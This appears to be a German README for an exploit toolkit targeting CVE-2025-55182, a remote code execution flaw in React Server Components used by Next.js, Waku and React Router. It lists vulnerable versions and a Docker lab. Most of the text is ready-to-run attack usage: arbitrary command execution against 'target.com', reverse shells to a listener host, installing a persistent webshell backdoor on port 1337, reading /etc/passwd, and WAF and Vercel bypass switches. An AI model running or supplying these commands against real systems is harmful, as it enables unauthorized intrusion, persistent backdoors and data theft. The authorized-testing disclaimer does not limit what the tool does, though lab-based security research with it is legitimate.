
CVE-2025-55182 Sicherheitstest-Kit: CLI-Scanner + Chrome-Erweiterung + Nuclei-Templates + Docker-Lab.
CVE-2025-55182 Scanner & Exploit-Toolkit für Next.js/React-Server-Components RCE.
React2Shell/
├── browser-extension/ # Chrome-Erweiterung zur browserbasierten Erkennung
│ ├── manifest.json
│ ├── content.js
│ ├── popup.html/js
│ └── background.js
├── cli/ # Kommandozeilen-Scanner & Exploit-Tool
│ ├── react2shell.py
│ └── requirements.txt
├── docs/ # Lernorientierte Dokumentation
│ ├── README.md # Lernpfad-Index
│ ├── 01-fundamentals.md
│ ├── 02-vulnerability.md
│ ├── 03-exploitation.md
│ ├── 04-frameworks.md
│ └── 05-defense.md
├── lab/ # Docker-Lab-Umgebung zum Testen
│ ├── vulnerable/ # Verwundbare Next.js-App (React 19.2.0)
│ ├── patched/ # Gepatchte Next.js-App (React 19.2.1)
│ ├── waf/ # ModSecurity-WAF-Container
│ ├── waku-app/ # Verwundbare Waku-App (React 19.2.0)
│ ├── react-router-app/ # Verwundbare React-Router-App (React 19.2.0)
│ └── docker-compose.yml
└── nuclei/ # Nuclei-Vorlagen
├── CVE-2025-55182.yaml # RCE-Erkennung (führt Code aus)
└── CVE-2025-55182-safe.yaml # Sichere Seitenkanal-Erkennung
cd cli
pip install -r requirements.txt
# Ziel scannen
python react2shell.py https://target.com
# Befehl ausführen
python react2shell.py https://target.com -c "id"
# Interaktive Shell
python react2shell.py https://target.com -i
chrome://extensions/browser-extensioncd lab
docker-compose up -d
# Ausnutzbare Ziele:
# Next.js Verwundbar: http://localhost:3011 ← Volle RCE
# Waku Verwundbar: http://localhost:3014 ← RCE (blind - keine HTTP-Ausgabe)
# React Router: http://localhost:3015 ← Volle RCE (ESM)
# Geschützte Ziele:
# Next.js Gepatcht: http://localhost:3012 ← Sicher
# WAF-geschützt: http://localhost:3013 ← ModSecurity blockiert Exploits
nuclei -t nuclei/CVE-2025-55182.yaml -u https://target.com
cli/react2shell.py)--detect) – Automatische Erkennung des Ziel-Frameworks-E) – RSC-Endpunkte automatisch entdecken-c) – Beliebige Befehle ausführen-i) – Permanente Befehlssitzung-r) – Mehrere Typen: nc, bash, perl, python, ruby--webshell) – Permanente Backdoor-Installation-f) – Remote-Dateien direkt lesen-L) – package.json auf verwundbare Versionen prüfen-w), Unicode-Kodierung (-u), Vercel-spezifisch (-V)-x) – Routing über Burp Suite oder andere Proxys-s) – Seitenkanal-Erkennung ohne Codeausführungbrowser-extension/)lab/)/RSC/F/{x}/{y}.txt-Pfadformatprocess.getBuiltinModule()# Grundscan (erkennt Framework automatisch)
python react2shell.py https://target.com
# Framework erkennen und Endpunkte enumerieren
python react2shell.py https://target.com --detect
python react2shell.py https://target.com -E -v
# Befehl auf verschiedenen Frameworks ausführen
python react2shell.py https://target.com -c "id" # Next.js (automatisch)
python react2shell.py https://target.com -F waku -c "id" # Waku (blinde RCE)
python react2shell.py https://target.com -F react-router -c "id" # React Router (ESM)
# Lab-Beispiele mit Ausgabe
python react2shell.py http://localhost:3011 -c "cat /app/secret/flag.txt" # Next.js
python react2shell.py http://localhost:3015 -F react-router -c "id" # React Router
# Befehl mit allen WAF-Bypasses ausführen
python react2shell.py https://target.com -c "cat /etc/passwd" -w -u
# Interaktive Shell über Proxy
python react2shell.py https://target.com -i -x http://127.0.0.1:8080
# In-Memory-Webshell installieren (erstellt Backdoor auf Port 1337)
python react2shell.py https://target.com --webshell mypassword
# Zugriff: curl 'http://target:1337/?p=mypassword&cmd=id'
# Reverse Shell
python react2shell.py https://target.com -r -l 10.0.0.1 -p 4444 -S bash
# Lokales Projekt auf verwundbare Versionen scannen
python react2shell.py -L /path/to/project
# Stapelscan mit Ausgabe
python react2shell.py targets.txt -t 20 -o results.json -v
Ausführungsoptionen:
-c, --cmd Auszuführender Befehl
-i, --interactive Interaktive Shell-Sitzung
-r, --reverse Reverse-Shell-Modus
-l, --lhost Listener-Host
-p, --lport Listener-Port
-S, --shell-type Shell-Typ (nc, nc-mkfifo, bash, perl, python, ruby)
-f, --read-file Remote-Datei lesen
Scan-Optionen:
-P, --path Zu testende Pfade (kommasepariert oder Datei)
-t, --threads Anzahl der Threads (Standard: 10)
-T, --timeout Request-Timeout in Sekunden (Standard: 10)
-s, --safe Sicherer Modus (keine Codeausführung)
-L, --local Lokales Projektverzeichnis scannen
-F, --framework Ziel-Framework (auto, nextjs, waku, react-router, expo)
-E, --enumerate RSC-Endpunkte vor der Ausnutzung enumerieren
--detect Nur Framework erkennen und Endpunkte auflisten
--webshell In-Memory-Webshell auf Port 1337 installieren
--rce RCE-PoC-Modus (Standard: sicherer Modus)
Bypass-Optionen:
-w, --waf-bypass Junk-Daten-Padding
-W, --waf-size Junk-Größe in KB (Standard: 128)
-u, --unicode Unicode-Kodierungs-Bypass
-V, --vercel-bypass Vercel-spezifischer Bypass
--windows Windows-PowerShell-Payloads
Request-Optionen:
-x, --proxy Proxy-URL (z. B. http://127.0.0.1:8080)
-H, --header Benutzerdefinierte Header
-A, --user-agent Benutzerdefinierter User-Agent
-k, --insecure SSL-Verifizierung deaktivieren
Ausgabeoptionen:
-o, --output Ergebnisse als JSON speichern
-v, --verbose Ausführliche Ausgabe mit Versionserkennung
-q, --quiet Nur verwundbare Ziele anzeigen
--no-color Farben deaktivieren
--no-banner Banner ausblenden
| Feld | Wert |
|---|---|
| CVSS | 10.0 (Kritisch) |
| Auswirkung | Nicht authentifizierte Remote-Codeausführung |
| Betroffen | Jedes RSC-Framework, das verwundbare React-Versionen verwendet |
| Mechanismus | Prototype-Pollution über das React-Flight-Protokoll |
| Framework | Verwundbar | Gepatcht |
|---|---|---|
| React | 19.0.0 – 19.2.0 | 19.2.1+ |
| Next.js | 14.0.0 – 15.4.7 | 15.4.8+ |
| Waku | < 0.27.2 | 0.27.2+ |
| React Router | 7.0.0 – 7.5.0 (RSC-Vorschau) | 7.5.1+ |
| Expo | Experimentelles RSC | React aktualisieren |
| @vitejs/plugin-rsc | Alle mit verwundbarem React | React aktualisieren |
| @parcel/rsc | Alle mit verwundbarem React | React aktualisieren |
| RedwoodJS (rwsdk) | Alle mit verwundbarem React | React aktualisieren |
Dieses Toolkit ist nur für autorisierte Sicherheitstests bestimmt. Verwenden Sie es ausschließlich auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Unbefugter Zugriff auf Computersysteme ist illegal.
CVE-2025-55182 | CVSS 10.0 | Nur für autorisierte Sicherheitstests